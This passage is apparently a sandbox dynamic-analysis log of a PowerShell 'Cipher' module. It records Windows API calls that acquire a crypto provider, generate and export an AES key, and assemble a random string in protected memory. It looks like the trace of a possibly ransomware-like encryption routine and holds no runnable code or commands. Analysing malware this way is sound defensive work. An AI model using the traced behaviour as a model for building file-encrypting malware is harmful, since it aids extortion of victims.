[6]=0xd4, [7]=0x1))) returned 0x0 [0130.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x4100\x68f\x41d4\x68f\x418c\x68f\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0130.013] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.014] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.014] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.014] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.015] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0130.015] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.015] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.015] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.015] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.016] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x8e027a0) returned 1 [0130.016] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84f38) returned 1 [0130.016] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.017] CryptExportKey (in: hKey=0x8e84f38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.017] CryptExportKey (in: hKey=0x8e84f38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6962d54, pdwDataLen=0x99ae7f8 | out: pbData=0x6962d54*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.017] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.017] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.017] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.017] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.017] SysStringLen (param_1="") returned 0x8 [0130.017] SysStringLen (param_1="S") returned 0x8 [0130.018] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.018] SysStringLen (param_1="\x167a\xe373\x34d2\x5079\xb045\x560\x412c\x7b03") returned 0x8 [0130.018] SysStringLen (param_1="\x167a\xe373\x34d2\x5079\xb045\x560\x412c\x7b03") returned 0x8 [0130.018] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.018] SysStringLen (param_1="SW") returned 0x8 [0130.018] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.018] SysStringLen (param_1="\xaf6a\xb040\x7d6d\xc08d\xe9b8\x97b4\x3f35\x6c61") returned 0x8 [0130.018] SysStringLen (param_1="\xaf6a\xb040\x7d6d\xc08d\xe9b8\x97b4\x3f35\x6c61") returned 0x8 [0130.018] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.018] SysStringLen (param_1="SWx") returned 0x8 [0130.018] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.018] SysStringLen (param_1="\xed14\x3ae\xb31c\x485f\x92ea\x2f9e\xf08a\x30d5") returned 0x8 [0130.018] SysStringLen (param_1="\xed14\x3ae\xb31c\x485f\x92ea\x2f9e\xf08a\x30d5") returned 0x8 [0130.018] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.018] SysStringLen (param_1="SWxl") returned 0x8 [0130.018] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.019] SysStringLen (param_1="\x292\x8287\x66a2\x714\x6e29\xbb3f\x76dd\xd7b2") returned 0x8 [0130.019] SysStringLen (param_1="\x292\x8287\x66a2\x714\x6e29\xbb3f\x76dd\xd7b2") returned 0x8 [0130.019] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.019] SysStringLen (param_1="SWxlm") returned 0x8 [0130.019] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.019] SysStringLen (param_1="\x196a\xb8a2\x7611\xe49f\xc8eb\xa057\xe35d\x3ea") returned 0x8 [0130.019] SysStringLen (param_1="\x196a\xb8a2\x7611\xe49f\xc8eb\xa057\xe35d\x3ea") returned 0x8 [0130.019] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.019] SysStringLen (param_1="SWxlmg") returned 0x8 [0130.019] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.023] SysStringLen (param_1="\xc037\xeeef\xd93b\xf631\x8b41\x4830\xc900\xdcee") returned 0x8 [0130.023] SysStringLen (param_1="\xc037\xeeef\xd93b\xf631\x8b41\x4830\xc900\xdcee") returned 0x8 [0130.023] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.023] SysStringLen (param_1="SWxlmgf") returned 0x8 [0130.023] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.024] SysStringLen (param_1="ቮ菔絊ṏ䦠㳿৖") returned 0x8 [0130.024] SysStringLen (param_1="ቮ菔絊ṏ䦠㳿৖") returned 0x8 [0130.024] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.024] SysStringLen (param_1="SWxlmgfK") returned 0x8 [0130.024] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.024] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07") returned 0x8 [0130.024] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07") returned 0x8 [0130.024] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07") returned 0x8 [0130.024] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07") returned 0x10 [0130.024] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.024] SysStringLen (param_1="SWxlmgfKd᧑䑚阮櫥빋⫔") returned 0x10 [0130.024] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.024] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x34c3\xc6d8\x4d77\x8b54\x3100\x9b89\xb17f\x953c") returned 0x10 [0130.024] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x34c3\xc6d8\x4d77\x8b54\x3100\x9b89\xb17f\x953c") returned 0x10 [0130.024] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.024] SysStringLen (param_1="SWxlmgfKdt䑚阮櫥빋⫔") returned 0x10 [0130.024] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x6aec\x7c1b\x99e\xf16c\x6e0b\x89b9\x325c\xea50") returned 0x10 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x6aec\x7c1b\x99e\xf16c\x6e0b\x89b9\x325c\xea50") returned 0x10 [0130.025] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.025] SysStringLen (param_1="SWxlmgfKdtl阮櫥빋⫔") returned 0x10 [0130.025] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x9bdc\xa8c1\x4e8b\xc180\x6e56\xd259\x13a\x33ac") returned 0x10 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x9bdc\xa8c1\x4e8b\xc180\x6e56\xd259\x13a\x33ac") returned 0x10 [0130.025] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.025] SysStringLen (param_1="SWxlmgfKdtlC櫥빋⫔") returned 0x10 [0130.025] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\xd86f\x8226\xf7fa\x1d65\xc99\x9ce5\x5e8c\x45a4") returned 0x10 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\xd86f\x8226\xf7fa\x1d65\xc99\x9ce5\x5e8c\x45a4") returned 0x10 [0130.025] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.025] SysStringLen (param_1="SWxlmgfKdtlCp빋⫔") returned 0x10 [0130.025] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x4b4\xa6e5\xadce\x3805\x3e15\xc58e\x3755\x9085") returned 0x10 [0130.025] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x4b4\xa6e5\xadce\x3805\x3e15\xc58e\x3755\x9085") returned 0x10 [0130.025] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.026] SysStringLen (param_1="SWxlmgfKdtlCp3⫔") returned 0x10 [0130.026] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x7876\x4f4f\xf31c\x252c\xbe83\xb8ff\x99d1\x2955") returned 0x10 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x7876\x4f4f\xf31c\x252c\xbe83\xb8ff\x99d1\x2955") returned 0x10 [0130.026] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.026] SysStringLen (param_1="SWxlmgfKdtlCp3f⫔") returned 0x10 [0130.026] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x11a5\x5ff9\xe06a\x277\x6344\x9cd\xa146\x79b9") returned 0x10 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x11a5\x5ff9\xe06a\x277\x6344\x9cd\xa146\x79b9") returned 0x10 [0130.026] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.026] SysStringLen (param_1="SWxlmgfKdtlCp3fc") returned 0x10 [0130.026] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124") returned 0x10 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124") returned 0x10 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124") returned 0x10 [0130.026] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124") returned 0x18 [0130.026] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.027] SysStringLen (param_1="SWxlmgfKdtlCp3fcBʂ독ᴰ䚶Ⱛ凷") returned 0x18 [0130.027] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.027] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xb938\xfeab\xc0f5\x70a1\xe8bf\xedf5\xb5ce\x3ff6") returned 0x18 [0130.027] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xb938\xfeab\xc0f5\x70a1\xe8bf\xedf5\xb5ce\x3ff6") returned 0x18 [0130.027] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.027] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9독ᴰ䚶Ⱛ凷") returned 0x18 [0130.027] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.027] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xae6e\x9a45\xbe90\xdb81\x53c7\x1718\xe54e\xc9a5") returned 0x18 [0130.027] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xae6e\x9a45\xbe90\xdb81\x53c7\x1718\xe54e\xc9a5") returned 0x18 [0130.027] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.027] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9C독ᴰ䚶Ⱛ凷") returned 0x18 [0130.027] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.027] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xa461\x9614\x3f21\x3393\xde53\x5d6d\x896f\xf0e4") returned 0x18 [0130.027] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xa461\x9614\x3f21\x3393\xde53\x5d6d\x896f\xf0e4") returned 0x18 [0130.027] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.027] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJᴰ䚶Ⱛ凷") returned 0x18 [0130.027] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xd6bb\xe50\x459f\x79e1\xd137\x3a45\x3ab0\x7415") returned 0x18 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xd6bb\xe50\x459f\x79e1\xd137\x3a45\x3ab0\x7415") returned 0x18 [0130.028] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.028] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJU䚶Ⱛ凷") returned 0x18 [0130.028] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\x6c7b\xbb9f\x32d8\x4a56\x9970\x78d5\xaa13\x6ecb") returned 0x18 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\x6c7b\xbb9f\x32d8\x4a56\x9970\x78d5\xaa13\x6ecb") returned 0x18 [0130.028] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.028] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBⰫ凷") returned 0x18 [0130.028] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\x9d37\xeba7\xc31f\x6d17\xac04\xe9dd\x1057\x5a82") returned 0x18 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\x9d37\xeba7\xc31f\x6d17\xac04\xe9dd\x1057\x5a82") returned 0x18 [0130.028] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.028] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZ凷") returned 0x18 [0130.028] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xc8f6\x3a8c\x9325\x9b86\x69dd\xe0db\x87f1\xfab0") returned 0x18 [0130.028] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xc8f6\x3a8c\x9325\x9b86\x69dd\xe0db\x87f1\xfab0") returned 0x18 [0130.028] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.029] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZf") returned 0x18 [0130.029] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a") returned 0x18 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a") returned 0x18 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a") returned 0x18 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a") returned 0x20 [0130.029] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.029] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfn蜕伇㑇鷿泀쒉") returned 0x20 [0130.029] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x577f\x6aa9\xc7ac\x9357\x3b7\xc68a\x4d72\x67fd") returned 0x20 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x577f\x6aa9\xc7ac\x9357\x3b7\xc68a\x4d72\x67fd") returned 0x20 [0130.029] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.029] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnE伇㑇鷿泀쒉") returned 0x20 [0130.029] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\xcc28\x90a\x1045\xf63f\x34f5\x2eb3\x1c55\x9f9f") returned 0x20 [0130.029] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\xcc28\x90a\x1045\xf63f\x34f5\x2eb3\x1c55\x9f9f") returned 0x20 [0130.029] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.030] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO㑇鷿泀쒉") returned 0x20 [0130.030] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.030] SysStringLen 